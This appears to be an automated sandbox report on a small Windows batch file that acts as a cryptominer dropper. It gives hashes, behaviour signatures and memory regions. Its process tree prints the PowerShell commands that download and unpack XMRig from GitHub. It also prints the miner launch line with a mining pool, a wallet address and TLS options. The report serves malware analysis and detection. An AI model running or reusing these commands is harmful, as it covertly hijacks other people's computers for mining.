Analysis

  • max time kernel
    1796s
  • max time network
    1794s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 05:15

General

  • Target

    tesy - Copy (7).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3496
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1044
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2304

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          42d4b1d78e6e092af15c7aef34e5cf45

          SHA1

          6cf9d0e674430680f67260194d3185667a2bb77b

          SHA256

          c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

          SHA512

          d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          b884882d026d21de925fe11e43f583c1

          SHA1

          c903d0869466800708f86f81fa194c0da804a161

          SHA256

          cb6365c6e7630215522dea42bf7efeff49f853846afea2e3aac6590241cdd13b

          SHA512

          70758c4dad6d01791e6a107db4b5f191929b5995ebcde322dd4355e0b52de5f8bee72347d6a7bd83f1423b1c591994a2e12603c534d3b3977e4461b0daca452b

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rmpeax0r.3dn.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          1.4MB

          MD5

          8de25a324ca750f3d1118dcdb6c6b508

          SHA1

          65ed1866f79632be7aaca6e5222a843861ff31c7

          SHA256

          d808df55dad64e50f98766c13521d4a8d24ce7e39226b397a037e56c45d635f4

          SHA512

          38c5bec3da0a084ebd32b116a7d7412be9eede3c770c17bcddad67e3ce084aa79e0b6e17a3855769a6c920fe490d67c18a26051d7f0b6d69a8cc1a5fc9f349e4

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          92KB

          MD5

          bf81885c3e45ed8362740683d8f66042

          SHA1

          4990c4894c2fd9a7dc309afbd75488ff1339f08b

          SHA256

          c325c6366cc49c29a245ccc0bb034dc027ae507d1a9bc8acc42cf933f7c45b8d

          SHA512

          9aa1245a2d56179d47d4ee1f583012faa9ef012bfddb7d264a80dc8c2ea95e7a5db20d2fe12bf417151eeb918392ab859e78080e452e5dc4e4b2a672e2aceaa1

        • memory/208-29-0x000001E6F0180000-0x000001E6F0190000-memory.dmp

          Filesize

          64KB

        • memory/208-8-0x000001E6F09D0000-0x000001E6F0A46000-memory.dmp

          Filesize

          472KB

        • memory/208-26-0x00007FF870760000-0x00007FF87114C000-memory.dmp

          Filesize

          9.9MB

        • memory/208-27-0x000001E6F0180000-0x000001E6F0190000-memory.dmp

          Filesize

          64KB

        • memory/208-28-0x000001E6F0180000-0x000001E6F0190000-memory.dmp

          Filesize

          64KB

        • memory/208-9-0x000001E6F0180000-0x000001E6F0190000-memory.dmp

          Filesize

          64KB

        • memory/208-34-0x00007FF870760000-0x00007FF87114C000-memory.dmp

          Filesize

          9.9MB

        • memory/208-10-0x000001E6F0180000-0x000001E6F0190000-memory.dmp

          Filesize

          64KB

        • memory/208-4-0x000001E6F0680000-0x000001E6F06A2000-memory.dmp

          Filesize

          136KB

        • memory/208-25-0x000001E6F0180000-0x000001E6F0190000-memory.dmp

          Filesize

          64KB

        • memory/208-7-0x00007FF870760000-0x00007FF87114C000-memory.dmp

          Filesize

          9.9MB

        • memory/1044-41-0x00000205C1A80000-0x00000205C1A90000-memory.dmp

          Filesize

          64KB

        • memory/1044-66-0x00000205C1A80000-0x00000205C1A90000-memory.dmp

          Filesize

          64KB

        • memory/1044-80-0x00000205C2140000-0x00000205C2152000-memory.dmp

          Filesize

          72KB

        • memory/1044-93-0x00000205C2120000-0x00000205C212A000-memory.dmp

          Filesize

          40KB

        • memory/1044-42-0x00000205C1A80000-0x00000205C1A90000-memory.dmp

          Filesize

          64KB

        • memory/1044-117-0x00007FF870760000-0x00007FF87114C000-memory.dmp

          Filesize

          9.9MB

        • memory/1044-39-0x00007FF870760000-0x00007FF87114C000-memory.dmp

          Filesize

          9.9MB

        • memory/2304-143-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-155-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-122-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-124-0x000002E8C9BB0000-0x000002E8C9BD0000-memory.dmp

          Filesize

          128KB

        • memory/2304-123-0x000002E8C9B90000-0x000002E8C9BB0000-memory.dmp

          Filesize

          128KB

        • memory/2304-125-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-126-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-127-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-129-0x000002E8C9BB0000-0x000002E8C9BD0000-memory.dmp

          Filesize

          128KB

        • memory/2304-128-0x000002E8C9B90000-0x000002E8C9BB0000-memory.dmp

          Filesize

          128KB

        • memory/2304-130-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-131-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-132-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-133-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-134-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-135-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-136-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-137-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-138-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-139-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-140-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-141-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-142-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-120-0x000002E8C8250000-0x000002E8C8270000-memory.dmp

          Filesize

          128KB

        • memory/2304-144-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-145-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-146-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-147-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-148-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-149-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-150-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-151-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-152-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-153-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-154-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-121-0x000002E8C9B50000-0x000002E8C9B90000-memory.dmp

          Filesize

          256KB

        • memory/2304-156-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-157-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-158-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-159-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-160-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-161-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-162-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-163-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-164-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-165-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-166-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-167-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-168-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-169-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-170-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-171-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-172-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-173-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-174-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-175-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-176-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-177-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-178-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-179-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-180-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-181-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-182-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-183-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-184-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-185-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-186-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-187-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB

        • memory/2304-188-0x00007FF7AF520000-0x00007FF7B0023000-memory.dmp

          Filesize

          11.0MB